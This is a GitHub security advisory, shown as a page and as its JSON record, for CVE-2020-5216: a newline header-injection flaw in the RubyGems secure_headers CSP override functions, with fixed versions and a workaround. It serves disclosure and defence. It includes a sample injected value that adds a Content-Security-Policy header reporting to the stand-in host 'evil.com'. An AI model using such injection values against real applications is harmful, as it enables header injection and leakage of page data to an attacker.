GHSA-W978-RMPF-QMWG

Vulnerability from github – Published: 2020-01-23 02:27 – Updated: 2023-05-16 16:11
VLAI
Summary
Limited header injection when using dynamic overrides with user input in RubyGems secure_headers
Details

Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`

would result in 

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header

Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

Workarounds

override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])

References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c The effect of multiple policies

For more information

If you have any questions or comments about this advisory: * Open an issue in this repo * DM us at @ndm on twitter

Severity
4.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "secure_headers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "secure_headers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "secure_headers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-5216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-01-23T02:27:18Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIf user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.\n\ne.g.\n\n```ruby\noverride_content_security_directives(script_src: [\u0027mycdn.com\u0027, \"\\ninjected\\n\"])` \n```\n\nwould result in \n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```ruby\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src \u0027none\u0027; report-uri evil.com\"]) \n```\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src \u0027none\u0027; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\n### Patches\n\nThis has been fixed in 6.3.0, 5.2.0, and 3.9.0\n\n### Workarounds\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```\n\n### References\n\nhttps://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c\n[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)\n* DM us at @ndm on twitter",
  "id": "GHSA-w978-rmpf-qmwg",
  "modified": "2023-05-16T16:11:19Z",
  "published": "2020-01-23T02:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5216"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/twitter/secure_headers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Limited header injection when using dynamic overrides with user input in RubyGems secure_headers"
}



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